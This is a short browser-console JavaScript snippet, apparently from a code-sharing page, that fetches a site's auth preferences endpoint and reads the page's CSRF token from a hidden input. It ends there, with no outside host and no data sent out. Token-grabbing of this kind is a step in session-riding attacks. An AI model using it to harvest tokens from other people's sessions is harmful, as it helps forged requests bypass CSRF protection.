This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// code indented to be ran in the js console | |
// this works | |
var a; | |
fetch('/api/v1/auth/preferences').then(r => r.json()).then((b) => a= b) | |
//grab csrf | |
csrf = document.querySelector('input[name="csrf_token"]').value | |